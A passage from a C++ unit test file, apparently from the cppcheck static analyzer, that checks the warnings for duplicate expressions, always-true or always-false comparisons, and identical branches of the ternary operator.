'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. 